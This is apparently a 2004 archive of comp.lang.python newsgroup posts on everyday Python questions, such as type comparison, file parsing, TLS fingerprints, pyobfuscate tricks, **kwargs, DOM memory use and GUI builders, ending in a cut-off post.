From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sat, 28 Feb 2004 00:14:29 +0000
Subject: I just don't get it
References: <3b3f63ed.0402271516.55d3781e@posting.google.com>
Message-ID: <dulv30p01nu6gmhc2r8q0jdnqdv2dnsdcd@4ax.com>

On 27 Feb 2004 15:16:32 -0800, eelgueta at navix.cl (Eduardo Elgueta)
wrote:

>Hi All,
>
>Would anyone be so kind to explain this?
>
>-- begin --
>>>> (176L,) > 300
>True
>--end--
>
>(Python2.3)
>
>TIA.
>
>Ed.

Those are different data types - you are comparing a tuple with a
number. When different data types are compared, Python uses an
arbitrary but consistent ordering. This can be very useful at times,
for example when maintaining and searching a sorted list.

If Python started trying to guess your intentions, and assumed that
you really meant to compare the values, a whole load of quite basic
things wouldn't work. Your example with different numbers may seem
obvious, but what if the numbers were the same? Which of the following
should return true?

  (50,) <  50
  (50,) == 50
  (50,) >  50

If you think the middle one, what if the difference between having a
tuple and a number is important?

If you think that all should return false, you're not going to have
much luck with a lot of standard algorithms - it would violate a basic
assumption about ordering relations.

Personally, I might have gone with 'it makes no sense to compare
different types so raise an exception'. Possibly. But probably not.
Pythons system works very well in practice.


In Python, if you want to compare the actual numbers you need to
compare the actual numbers. It works out better in the long run when
your language isn't always second guessing what it thinks you really
meant.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From skchim0 at engr.uky.edu  Fri Feb 27 17:45:54 2004
From: skchim0 at engr.uky.edu (Satish Chimakurthi)
Date: Fri, 27 Feb 2004 16:45:54 -0600
Subject: Reading data from file: x(i),y(i) form
Message-ID: <00c301c3fd83$756a26e0$559ea380@D4XN6B41>

Hi all,

I have data of the following form in a file called "fluid_grid.dat"

  1.00000000000000        0.00000000000000D+000
  0.959753969508636       0.280842158538236
  0.842255363975169       0.539078752924891
  0.656961888321583       0.753923787456623
  0.418788196289889       0.908083942512068
  0.146905379223583       0.989150549489397

The first column gives values of x and the second, the values of y

My aim is to read the data into x(i), y(i) where i=1,6, and I wrote the following code for the purpose.

ifile4=open('fluid_grid.dat','r') 
lines=ifile4.readlines( )
x=[ ]
y=[ ]
i=1
for line in lines:
        x[i],y[i]=map(float,line.replace('D','E').split( ))
        i=i+1
        if i==7:
           break

I get the following error:

x[i],y[i]=map(float,line.replace('D','E').split( ))
Index Error: list index out of range


Can someone help me ?  Please let me know if there is a better way to serve my purpose.


Thanks

Regards,
Satish Kumar Chimakurthi


  
SATISH KUMAR CHIMAKURTHI
Graduate Research Assistant
CFD GROUP
Mechanical Engineering
UNIVERSITY OF KENTUCKY
Lexington
KENTUCKY - 40508
U.S.A

Email: skchim0 at engr.uky.edu
Mobile:859-420-9890
Office: 859-257-6336 X 80691
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From http  Sat Feb 28 04:35:23 2004
From: http (Paul Rubin)
Date: 28 Feb 2004 01:35:23 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402261830.7e803327@posting.google.com>
	<7x1xogvr35.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280120.675e2987@posting.google.com>
Message-ID: <7xhdxbsg10.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> > But it means you need a separate fingerprint for each person you talk
> > to.
> 
> You need to *get* the fingerprint of each person you talk to.  But if
> you're calling people you need to get their phone number, if you're
> emailing them you need to get their email address, etc..  acquiring
> fingerprints isn't much different from acquiring those things, and
> it's a hundred times easier than doing anything with certificates, IMHO.

Where do you get the fingerprint?  By email from the person you want
to connect to?  How do you know that the email is really coming from them?  
> 
> >  If you're going to do that, you may as well just use shared
> > symmetric keys and not mess with TLS.
> 
> Well, fingerprints are public, not secret data.  So they're much
> easier to distribute, and N people only need N fingerprints, whereas
> they'd need N-squared shared keys.

Yes, but each of the N people needs to authenticate N-1 of those
fingerprints somehow, so that's O(N**2) authentication operations.

> > Yeah, that's what I mean about it being a lot of work to do the full
> > stack.  It's great that you've provided this starting point though.
> 
> Thanks.  I don't agree that the "full stack" of PKIX protocols is
> worth implementing or using, but we can agree to disagree on that..

I don't know about going berserk writing ASN1 parsers and that whole
bit, but there really should be some way to do basic cert checking.


From sross at connectmail.carleton.ca  Thu Feb 19 19:10:11 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Thu, 19 Feb 2004 19:10:11 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
	<KLaZb.7624$Cd6.689008@news20.bellglobal.com>
	<N0cZb.8766$Cd6.699305@news20.bellglobal.com>
Message-ID: <sfcZb.9099$Cd6.702021@news20.bellglobal.com>

Here's a sample with replacement, where k can be greater than
len(population):

from random import random, seed
from string import letters
from time import clock as now

# derived from random.sample code ... scarcely tested
def sample(population, k):
    """Chooses k random elements from a population sequence. """
    n = len(population)
    result = [None] * k
    for i in xrange(k):
        j = int(random() * n)
        result[i] = population[j]
    return result

n = 1000000
seed(14)
start = now()
s = ''.join(sample(letters, n))
took = now() - start
print "sample with replacement  n: %d took: %2.2fs"%(n, took)

# Output
>>> sample with replacement  n: 1000000 took: 7.68s

Even faster than before, and more correct to boot, heh.





From cnoviello at hotmail.com  Tue Feb  3 11:49:56 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Tue, 3 Feb 2004 16:49:56 +0000 (UTC)
Subject: More verbose traceback
References: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>
Message-ID: <ca3562dad09acd00fc35bd6b6f2d2e95.46955@mygate.mailgate.org>

"Thomas Guettler" <guettli at thomas-guettler.de> wrote in message
news:pan.2004.02.03.12.19.28.751005 at thomas-guettler.de

> Hi!
> 
> Has someone written a script which
> dumps a traceback in a more verbose style?
> 
> This should include the information you
> see with cgitb. I like this very much.
> 
> You see the values of the important variables
> in the traceback. I need something like
> this, but it should be plain ascii, not html.
> 
>  thomas

Hi, 
I'm working to a tool which collects all informations related to 
a traceback object a saves them in XML format. There is also a 
graphical program you can use to analyze dump files created by this
tool. It's name is PyCrash and you can find it at

http://pycrash.sourceforge.net

I hope that it will be useful for you.

Carmine Noviello


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From rlpreston at sbec.com  Mon Feb 23 09:12:21 2004
From: rlpreston at sbec.com (Ren)
Date: 23 Feb 2004 06:12:21 -0800
Subject: Extract data from ASCII file
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
	<mailman.164.1077464239.27104.python-list@python.org>
Message-ID: <3602cff7.0402230612.4248c279@posting.google.com>

What is 'prefix' used for? I searched the docs and didn't come up with
anything that seemed appropriated.


"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message news:<mailman.164.1077464239.27104.python-list at python.org>...
> With Python 2.3:
> 
>  >>> def splitter( line ):
> ...     line = line[9:] # skip prefix
> ...     while line:
> ...         prefix, line = line[:4],line[4:]
> ...         yield prefix[2:]+prefix[:2]
> ...
>  >>> for number in splitter( ':10000000E7280530AC00A530AD00AD0B0528AC0BE2'):
> ...     print number
> ...
...........snip...............
> _______________________________________
>   Mike C. Fletcher
>   Designer, VR Plumber, Coder
>   http://members.rogers.com/mcfletch/


From Scott.Daniels at Acm.Org  Fri Feb 20 23:51:32 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Fri, 20 Feb 2004 20:51:32 -0800
Subject: Python Productivity Gain?
In-Reply-To: <mailman.126.1077319302.27104.python-list@python.org>
References: <mailman.16.1077122875.27104.python-list@python.org>	<403687e1$1@nntp0.pdx.net>
	<40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
Message-ID: <4036ece5$1@nntp0.pdx.net>

Thomas Heller wrote:

> Peter Hansen <peter at engcorp.com> writes:
> 
> 
>>Scott David Daniels wrote:
>>>Robert Brewer wrote:
>>>>Gerrit wrote:
>>All right, machine language!  Was that with actual toggle input, or 
>>were you hand-translating from assembly and entering hex on a keypad?
>>I remember being able to write small print routines on the Commodores
>>in straight machine language... hmm.. 
Nope different era.  My first language was machine language.  We wrote
abstract code (using the 16 opcode letters), on paper, where we assigned
addresses to everything, then put in the instructions on paper tape and
fed it into the flexowriter attached to the machine (A desk-sized
vacuum-tube computer called an 'LGP-30').   Memory was a rotating drum,
and consecutive addresses were 1/7 rotation apart.  If the referenced
address was in that band (neither the first nor last after), the
instruction was accomplished 8 times as fast as if it missed the
rotation and had to pass the next instruction and catch on the next
rotation.  For about six months I thought that optimizing compilers
spent their time determining the positioning of instructions on the
drum.

> Keypad? Which keypad???
> 
> All I had was a couple of switches, and a pushbutton.
> I had to set the switches to the binary values, and press the pushbutton
> to write it.  I do not remember whether the address was incremented
> automatically or not.  And LEDs to show the binary pattern.
I've also toggled in stuff, but that is more a 7 miles through snow
uphill kind of story.  The machine code first was real -- it was very
cool when I could just use a name for a location.

>>A9 80 20 FF D2 40 anyone? :-)
Actually hex was: 0 1 2 3 4 5 6 7 8 9 F G J K Q W
Cool -- I didn't even have to think hard for that.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From newsgroups at jhrothjr.com  Tue Feb 10 06:46:19 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 10 Feb 2004 06:46:19 -0500
Subject: converting base class instance to derived class instance
References: <mailman.1372.1076344361.12720.python-list@python.org><102g0l3aot90b73@news.supernews.com>
	<mailman.1390.1076365471.12720.python-list@python.org>
Message-ID: <102hh7s4m2hqna9@news.supernews.com>


"Fran?ois Pinard" <pinard at iro.umontreal.ca> wrote in message
news:mailman.1390.1076365471.12720.python-list at python.org...
[John Roth]
> [Fran?ois Pinard]

> > >>> o.__class__ = C
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> > TypeError: __class__ assignment: only for heap types
>
> > By the way, what is a "heap type"?

> I think they're refering to objects that are allocated on the
> heap.  I'm not sure what attempting to instantiate object would do, but
> I suspect the result would be a built-in that can't be modified.

Someone suggested, on this list, that `object()' could be used for
cheaply producing an object which is guaranteed unique, when there is no
need for that object to have any other property.

If you do:

   a = object()
   b = object()
   c = object()
   ...

you will observe that they are all different, none of `a', `b', `c'
compare with `is' to another.  I do not see how the result could be
built-in or pre-allocated.

I could understand that some immutable objects, like 0, "z" or () could
be allocated statically.  But for `object()', I do not see.

[John Roth]
But I believe that object itself is a built-in type, and the error
message in question specified "heap TYPE".

John Roth

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From http  Wed Feb 25 01:11:01 2004
From: http (Paul Rubin)
Date: 24 Feb 2004 22:11:01 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.57.1077648520.8594.python-list@python.org>
	<84fc4588.0402242204.d884fb6@posting.google.com>
Message-ID: <7xoernzo22.fsf@ruckus.brouhaha.com>

pythonguy at Hotpop.com (Anand Pillai) writes:
> In the news article, it says that the Microsoft made a "polite request".
> I dont think that they actually "threatened" Julian and Robin like they
> did to that teenage boy. These guys are not teenagers you know :-)

I like the name wxWidgets a lot better than wxWindows.  wxWindows
makes it sound like a Windows product.  For the longest time I paid no
attention to it because I don't use Windows and I didn't realize it
was cross-platform.  


From nessus at mit.edu  Wed Feb 18 18:29:13 2004
From: nessus at mit.edu (Douglas Alan)
Date: Wed, 18 Feb 2004 18:29:13 -0500
Subject: GUI application death catcher?
Message-ID: <lcisi4ezli.fsf@gaffa.mit.edu>

I'm writing a GUI app in Python that will be used on the International
Space Station.  I'd like for the app to be as robust as possible and,
consequently, if it crashes, for there to be a log file written and a
coherent error message displayed to the astronaut.

My original approach to this was to write an in-process handler in
Python that would catch all uncaught exceptions and log the error to a
file and then hand-hold the user.  This turned out to be a bit hairy
because of all the additional possible errors that might happen while
handling the original error, but I made a decent stab at it.
Unfortunately, I find that as I keep working on the program, I often
break the error handler by breaking some utility code that the error
handler uses.  This isn't so good, so it's back to the drawing board a
bit.

One approach I might take now is to maintain duplicate utility
libraries -- one for the error handler and one for the rest of the
code.  That way I lessen the risk of breaking the error handler when I
break the rest of the program.  Another approach, which is what I am
leaning towards at the moment, would be to have the error handler be a
completely separate process that monitors the application and takes
over if and when the application fails.  I would like to write this in
Python, of course, but then I have the worry of what happens if the
Python installation gets bit rot, or something, and the monitoring
program consequently won't run properly.  So, now I'm thinking that a
completely stand-alone, statically linked executable would be best for
this particular task.

But I'm really not in the mood at the moment to write a Windows C++
GUI app.  (Oh, did I mention that unfortunately this is going to run
on a Windows 2000 machine?)  I'm figuring that such programs must
already exist, since there must be a lot of demand for them.  In fact,
it seems that when using Windows, I often see pop-up dialogs about how
some program or another crashed and would I like to send a report off
to M$?  I'd like the same thing for my app, only for it to send a
report off to me, rather than M$.  Does anyone know of a preexisting
(preferably freeware) utility that does what I want?

|>oug


From http  Wed Feb 18 01:35:54 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 22:35:54 -0800
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<10341ha7te8bpb8@news.supernews.com>
	<7xekstqyzy.fsf@ruckus.brouhaha.com>
	<_ACYb.41934$hR.981424@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <7x1xosj3n9.fsf@ruckus.brouhaha.com>

"Andrew Koenig" <ark at acm.org> writes:
> I believe it would be more useful to allow the test to be anywhere in the
> loop, not just at the beginning or at the end.  Even better would be to
> allow more than one test.

It's already possible to test anywhere in a loop, with "if ... : break".


From rtjoseph at ev1.net  Tue Feb 24 22:02:04 2004
From: rtjoseph at ev1.net (Ray)
Date: 24 Feb 2004 19:02:04 -0800
Subject: Learning Python on jEdit
References: <d422a60.0402231132.19acdc74@posting.google.com>
	<7876a8ea.0402240005.6e3313eb@posting.google.com>
Message-ID: <d422a60.0402241902.4a00f044@posting.google.com>

David,

Thanks for all the details, I have a few questions.

You mentioned that jEdit is not Python specific and that others may be
more appropriate for learning.  Later, you addressed how to get jEdit
to recognize Python.  Are you saying that even with the Python
plug-ins and options, the Python only IDEs would be better for
learning?

I looked at PyShell and Pythonwin.  The documentation says that
Pythonwin was designed for MFC.  I found no mention to MFC.  What's up
with MFC and how relevent is it?

Ray

woodsplitter at rocketmail.com (David Rushby) wrote in message news:<7876a8ea.0402240005.6e3313eb at posting.google.com>...
> rtjoseph at ev1.net (Ray) wrote in message news:<d422a60.0402231132.19acdc74 at posting.google.com>...
> > I want to jump in a learn Python.  I have spent about a day looking at
> > editors and IDEs and (probably prematurely) selected jEdit to work in.
> > I have downloaded Python and jEdit.
> 
> Even though I love jEdit, its Python-awareness isn't as good as that
> of a Python-specific IDE.  Since you're in the process of learning
> Python, I recommend that you use as your interactive console an editor
> that has Python object member pop-ups and parameter tips (e.g.,
> Pythonwin, or OrbTech's PyShell (which comes with wxPython)).  I use
> PyShell as my interactive console and jEdit as my main editor.
> 
> I edit Python and C/C++ source code for many hours a day with jEdit,
> and have been doing so since 1999, so obviously I regard jEdit as a
> suitable editor for Python source.  IMO, jEdit's most compelling
> (though not unique) features are code folding, HyperSearch, multiple
> views/split views, and markers.  My workstation has multiple monitors,
> and I can spread several semi-autonomous 'views' from a single
> instance of jEdit across them to simultaneously view several pieces of
> code at once.  Markers (with appropriate Back/Set/Forward keyboard
> shortcuts) allow me to hop around huge source files without touching
> the mouse.
> 
> > I have been going over jEdit for a while and can't real see how to get it 
> > to know that I am using Python.
> 
> In the Utilities->Global Options->Editing dialog (of jEdit 4.1), you
> can change Python-specific settings by selecting 'Python' from the
> 'Change settings for mode' drop-down.  I have mine set to 'Tab width':
> 4, 'Indent width': 4, 'Soft (emulated with spaces) tabs': yes.  Save
> yourself some hassle and don't mix tabs and spaces in your Python
> source code.  jEdit can paper over the difference between soft and
> hard tabs, so there are no extra keypresses required.
> 
> This dialog also allows you to specify which filename extensions are
> to be considered Python source files, or which textual pattern on the
> first line of a source file indicates same (e.g., '#/usr/bin/env
> python').
> 
> If you use jEdit for virtually nothing other than editing Python
> source, you can set Python mode as the default via the 'Default Edit
> Mode' option in that same Utilities->Global Options->Editing dialog.
> 
> > So there is more there than I expected.  Any suggestions on how to
> > configure (plugg-ins?) for jEdit and learn Python?
> 
> jEdit's indentation-based code folding works very well with Python out
> of the box.
> 
> Since Python has syntactically significant whitespace, jEdit's
> Whitespace plugin is a real help.  In particular, turn on
> Utilities->Global Options->Plugins->Whitespace->Fold guides->Show fold
> guides by default.  I have Whitespace set to display a faint grey
> vertical line along Python indentation planes.
> 
> jEdit also has a Jython plugin, which, among other capabilities,
> allows you to write jEdit macros in Python.  There's also a plugin
> called Py Utils, but I haven't used it.


From amy-g-art at cox.net  Wed Feb 18 17:27:22 2004
From: amy-g-art at cox.net (Amy G)
Date: Wed, 18 Feb 2004 14:27:22 -0800
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
	<8e3e8c6c.0402181210.69b47ec1@posting.google.com>
Message-ID: <dFRYb.1922$CQ6.1111@fed1read05>

Post some code - or even psedo code of how you think this could be
accomplished.

You may want to look at the methods for a list to help get you started.
Just google "python list methods."


"shivermetimbers15" <shivermetimbers15 at yahoo.com> wrote in message
news:8e3e8c6c.0402181210.69b47ec1 at posting.google.com...
> Thanks, everyone. Also, I'd really like to know how to remove the
> lowest number from the sequence.




From smtwfs0 at yahoo.com.au  Wed Feb 18 22:01:53 2004
From: smtwfs0 at yahoo.com.au (steve)
Date: 18 Feb 2004 19:01:53 -0800
Subject: [Announce] pyobfuscate
References: <mailman.64.1077030517.31398.python-list@python.org>
Message-ID: <38b675a9.0402181901.411574d8@posting.google.com>

Peter Astrand <peter at cendio.se> wrote in message news:<mailman.64.1077030517.31398.python-list at python.org>...
> I've written a Python source code obfuscator. The project home page is
> http://www.lysator.liu.se/~astrand/projects/pyobfuscate/. I'm including a
> copy of the README file below.
<snip>

I love pyobfuscate!!!!  Well done.

I have an idea to make it even more evil:
Replace all constants with variables.
This means that you need to define the
variables with the constants above.
This should be as complicated as possible
and hidden within all of the 'if 1 - 1:' lines.

eg
def double_x(x):
    return x * 2

becomes:

# start with a few lines of confusing many digit
# integers to set up some starting variables
if 100111001 - 10011001: i1II11 = 36
    # true -> really set
if 1011001 - 1011001: o00O0o = "bu"
    # false -> not set
if 10111101 - 1011101: i1II11 = 108
    # false -> not reset - still 36
if 100111001 - 10011001: i1II11 = 18
    # true -> really reset
    # => this prevents anyone from doing
    # a global replace of i1II11 with 36

# after you have a few variables to play
# with use them instead of integers
if i1II11 - oOO0ooOO: oo00 = i1II11 / ooOO00

# (assuming ooOOoOo == iiiIii11 and OOOooo00 == 2)
# eventually you get to:
def oooOOooOO (iiI11I1i):
    if ooOOoOo - iiiIii11: return iiI11I1i * oo00
    else: return iiIII11I1i * OOOooo00
    # okay maybe the bogus return is overdoing it ;)

Of course this is all interspersed with the classes
and functions above the one you are interested in.
This also has a major benefit of preventing anyone
from just deleting all of the 'if 27 - 27:' lines.

To make it even more evil include a few lists,
this enables you to change numbers using other
references.
eg (assuming ii == 1 and oo = 0)

if ii - oo: II = [o0, i1]
...
if oo - ii: OO = II
...
if ii - oo: OO[oo] = iI
...
if oo - ii: iii = II[oo]    # now iii == iI

Also I don't understand why you don't obfuscate
the parameters of methods.  Shouldn't they be
the same as the parameters of global functions?
(Sorry I am a bit of a newbie,
 so I may be missing something.)

A potential way to obfuscate method names while
keeping the original name would be to define the
method with an obfuscated name and then to set
the proper name to the obfuscated name.
eg

class a:
    def __init__():
        pass

becomes

class iIiIiI:
    def oOoOoO(ii111II):
        pass
    __init__ = oOoOoO

And if you use some list references set up before the
class definition like above then it would be murder
to find which definition went with which name.

class iIiIiI:
    def oOoOoO(ii111II):
        pass
    OO[ii] = oOoOoO
    __init__ = II[ii]

Ah, this has got so much potential...

Steve


From frimn at hotmail.com  Sun Feb  1 01:34:02 2004
From: frimn at hotmail.com (ewan)
Date: Sun, 01 Feb 2004 01:34:02 -0500
Subject: 4DOM eating all my memory
Message-ID: <v51Tb.70605$Kg6.987044@news20.bellglobal.com>

hello all -

I'm looping over a set of urls pulled from a database, fetching the
corresponding webpage, and building a DOM tree for it using
xml.dom.ext.reader.HtmlLib (then trying to match titles in a web library
catalogue). all the trees seem to be kept in memory,

however, when I get through fifty or so iterations the program has used
about half my memory and slowed the system to a crawl.

tried turning on all gc debugging flags. they produce lots of output, but it
all says 'collectable' - sounds fine to me.

I even tried doing gc.collect() at the end of every iteration. nothing.
everything seems to be being collected. so why does each iteration increase
the memory usage by several megabytes?

below is some code (and by the way, do I have those 'global's in the right
places?)

any suggestions would be appreciated immeasurably...
ewan



import MySQLdb

...

cursor = db.cursor()
result = cursor.execute("""SELECT CALLNO, TITLE FROM %s""" % table)
rows = cursor.fetchall()
cursor.close()
  
for row in rows:
  current_callno = row[0]
  title = row[1]
  url = construct_url(title)
  cf = callno_finder()
  cf.find(title.decode('latin-1'), url)
  ...

(meanwhile, in another file)
...

class callno_finder:
  def __init__(self):
    global root
    root = None

  def find(self, title, uri):
    global root
    
    reader = HtmlLib.Reader()
    root = reader.fromUri(uri)

    # find what we're looking for
    ...


From koelle1 at uni-weimar.de  Wed Feb 18 06:36:08 2004
From: koelle1 at uni-weimar.de (=?ISO-8859-15?Q?paul_k=F6lle?=)
Date: Wed, 18 Feb 2004 12:36:08 +0100
Subject: hmm, lets call it: generic __init__  problem
In-Reply-To: <c0vbhm$slt$01$1@news.t-online.com>
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
	<c0vbhm$slt$01$1@news.t-online.com>
Message-ID: <c0vilm$1bt8u6$1@ID-131134.news.uni-berlin.de>


Hi peter, thanks for your answer.

Peter Otten wrote:

> In current python:
> 
> for parent in  parents:
>     parent.__name__.__init__(self, *args, **kwargs)
> 
> However, you are calling the __init__() method of a string (parent.__name__)
> which is a noop as strings are immutable (I'm surprised it didn't fail).
> I suppose you intended to call parent.__init__() which would result in
> infinite recursion as you determine the class to operate on by
> self.__class__ which will always be the same.
Exactly, but self.__class__.__bases__ gets a tuple with all parents and 
I can't see why it is impossible to iterate over it. But you are right I 
tried parent.__init__() before and it runs into the max recursion error.

> 
> I think this is what you want:
Thanks, this gives me an idea how it can be done.

<-- snipped working example for recursivly importing attributes from a 
dictionary in the current namespace based on superclasses names -->


> 
>>Apart from the obvious mistake I can't figure out:
>>1) Is this intelligent at all?
> 
> Is there a polite way of saying no?
> Seriously, have a look at the tutorial to get uptodate with the current
> python features, then set yourself a real task and try to solve it in the
> simplest and cleanest manner. 
To be honest, it is a "real world" (if there is any) task. The funClass 
thing was just to isolate the problem. I'm writing an LDAP client and 
the data model is made up of ObjectClasses which in turn have required 
and optional attributes. ObjectClasses can inherit attributes from 
"superior" ObjectClasses and the actual dataset (entry) may consist of 
multiple ObjectClasses, collecting all their attributes.

I thought it would be a good idea to mimic that with classes in the 
client code by naming the classes like the ObjectClasses and get the 
required and allowed attributes of the instance from the server in 
__init__ like:
r = self.schema.get_obj(ldap.schema.ObjectClass,\ self.__class__.__name__)
...process r...

This has to be done for every parent and the whole point was *not* to 
write another __init__ for each subclass. So the question boils down to:

1) Do I have to call Super.__init__ explicitely in: Child(Super)'s 
__init__ method  ?

2) If 1): Since I do not want to write a new __init__ for every possible 
subclass, how do I call Super.__init__ if I do not know Super's name?

I am confident that you will *not* need
> multiple inheritance or attributes with pointless default values.
Sorry for the bad example.

> IMHO silently ignoring anything is strongly against python's philosophy.
I can see no harm ignoring useless keyword arguments, hmm.. OK, it hides 
possible errors...

thanks again
  Paul


From nuffsaid at phreaker.net  Wed Feb  4 08:51:40 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Wed, 04 Feb 2004 14:51:40 +0100
Subject: **kw,**args what are these things ?
References: <mailman.1187.1075888777.12720.python-list@python.org>
Message-ID: <pan.2004.02.04.13.51.39.945591@phreaker.net>

On Wed, 04 Feb 2004 10:59:13 +0100, fowlertrainer wrote:

> I see these things in many sources, under wxPy:
> 
> def __init__(self,params,**kw,**args)
> 
> What are these parameters, and what's the meaning of the double * ?

Python functions can have positional arguments and keyword arguments;
if the *last* argument of a function begins with **, all extra keyword
arguments (i.e. those which do not match any of the parameter names of
the function) are put in a dictionary.

(The single * is used for passing a variable number of arguments.)

You will thus often see function definitions like the following:

    def f(x, y, *args, **kw):
	# the dictionary is kw

The following example should make this a little bit clearer:

    def f(x, y, *args, **kw):
        print x, y,
    
        for i in args:
            print i,
        
        for k, v in kw.iteritems():
            print k, v,
        
    f(1, 2, 3, 4, five=5, six=6)

The output of this example is: 

    1 2 3 4 six 6 five 5

(Observe that dictionaries are not sorted!)

Remark: in your example, the ** is used two times; that is not
allowed (and does not make sense).

HTH / Nuff



From antonmuhin at rambler.ru  Tue Feb 10 06:25:38 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Tue, 10 Feb 2004 14:25:38 +0300
Subject: Creating objects you don't actually want
In-Reply-To: <d232c5e.0402100250.20e49e37@posting.google.com>
References: <d232c5e.0402100250.20e49e37@posting.google.com>
Message-ID: <c0afa0$15btrh$2@ID-217427.news.uni-berlin.de>

Chris Lyon wrote:

> If you wish to create an object:- 
> 
> for item in os.listdir('dir'):
>     sfx = sfxobject(item)
> 
> 
> class sfxobject(object):
>     def __init__(self, filename):
>         if isfile(filename):
>             self.filename = filename
>             # all kinds of other parameter setting
> 
> If the creation fails for any reason you are left with an object which
> is not really a 'proper' object how is it best to deal with this
> circumstance?
> 
> Do you raise an exception and perform the creation line within a try:
> except: and then delete it?
> 
> 
> class sfxobject(object):
>     def __init__(self,filename):
>         if isfile(filename):
>             self.filename = filename
>             # all kinds of other parameter setting
>          else:
>             raise sfxobjectError
> 
> for item in os.listdir('dir'):
>     try:
>         sfx = sfxobject(item)
>     except: sfxobjectError
>         del sfx
You shouldn't delete sfx --- it won't exist.

> 
> or should you heavily check the parameter before you try to create the
> object?
> 
> for item in os.listdir('dir'):
>     if os.isfile(item):  
>         sfx = sfxobject(item)
> 
> I would think that this second method should really have all the
> checking within the object it's self but then of course you have to
> create the object to allow you to do the checks and you will still be
> left with an inapproriate object to clean up afterwards?
> 
> No doubt there are many other ways of addressing this but it's a
> problem I would love to have a deffinative answer to, unless of course
> there isn't one.

It depends on design, in some cases you would check parameters, in some 
just pass them. I generally prefer to pass parameters and catch 
exceptions if something goes wrong.

anton.


From tweedgeezer at hotmail.com  Tue Feb 10 01:25:50 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 9 Feb 2004 22:25:50 -0800
Subject: Python/Parrot still alive?
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
	<c068ah$o0p$00$1@news.t-online.com>
	<6ee58e07.0402082034.1d909f2b@posting.google.com>
	<4027ECDE.AB5BE4B6@engcorp.com>
	<6ee58e07.0402091917.13fdaa8e@posting.google.com>
Message-ID: <698f09f8.0402092225.66e91ce2@posting.google.com>

llothar at web.de (Lothar Scholz) wrote in message news:<6ee58e07.0402091917.13fdaa8e at posting.google.com>...
> Peter Hansen <peter at engcorp.com> wrote in message news:<4027ECDE.AB5BE4B6 at engcorp.com>...
> > Lothar Scholz wrote:
> > > 
> > > "Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c068ah$o0p$00$1 at news.t-online.com>...
> > > 
> > > > Some interpreters don't have virtual machines, e.g. Tcl did not
> > > > have one until Tcl 8 or so. OTOH, not all virtual machines are
> > > 
> > > So Ruby is an interpreter and not a virutal machine ?
> > 
> > Does Ruby have a "byte code" such as Python and Java have?
> 
> No. It keeps the parse tree in memory and traverse it during
> evaluation. Same as all lisp interpreters(?!?!).

Definitely not the same as Lisp.  In actuality, a Common Lisp
implementation that compiles to bytecode rather than native code is
uncommon; the majority of quality (i.e., complete) implementations
compile to native code.

Jeremy


From myles at geocities.com  Thu Feb 26 17:56:56 2004
From: myles at geocities.com (Myles)
Date: 26 Feb 2004 14:56:56 -0800
Subject: Python: GUI Builder
References: <mailman.144.1077773598.8594.python-list@python.org>
Message-ID: <a4638b9b.0402261456.39efe53c@posting.google.com>

Hello Anand,

> I am new to python & want to build some GUI dialogs.
> Can some one please suggest some document reference.

On Windows you can use standard resource DLLs, but you 
have to have some experience with Windows programming, 
have another tool for building the resource DLL, and be 
happy with working on the one platform only.

WxPython has Boa, but you have to be willing to deal with 
the multiple message IDs of that style of programming.
http://boa-constructor.sourceforge.net/

Another possibility is wxGlade.
http://wxglade.sourceforge.net/

I am biased towards PythonCard, the only one I've used
seriously.
PythonCard, a layer on top of wxPython, has a nice simple
GUI builder (the Resource Editor), is very easy to use, 
and produces cross-platform code.
http://pythoncard.sourceforge.net/
Be sure to read the tutorials in the documentation section.

If you have Visual Basic, you can use its GUI builder and 
translate it into PythonCard using vb2py.
http://vb2py.sourceforge.net/

SpecPython, (now incorporated into SpecTix), lets you use 
the SpecTcl GUI builder and translate it into Python for 
use with Tkinter.
http://www.geocities.com/eric_brunel/SpecPython.en.html
http://starship.python.net/crew/mike/Tide/Spectix/Spectix.html

PAGE is a GUI builder also using the Tix widgets:
http://page.sourceforge.net/

PythonWorks Pro (commercial) comes with a GUI builder for
Tkinter.
http://www.pythonware.com/products/works/articles/gui_toolkits.htm

Komodo Pro (commercial) comes with a GUI builder (Tkinter, I think)
http://aspn.activestate.com/ASPN/docs/Komodo/komodo-doc-guibuilder.html

Tkinter coding (without a GUI builder) can be simplified by such tools 
as tVector. http://www.freenet.org.nz/python/tVector/

Some of the Qt toolkits have GUI builders (commercial), but 
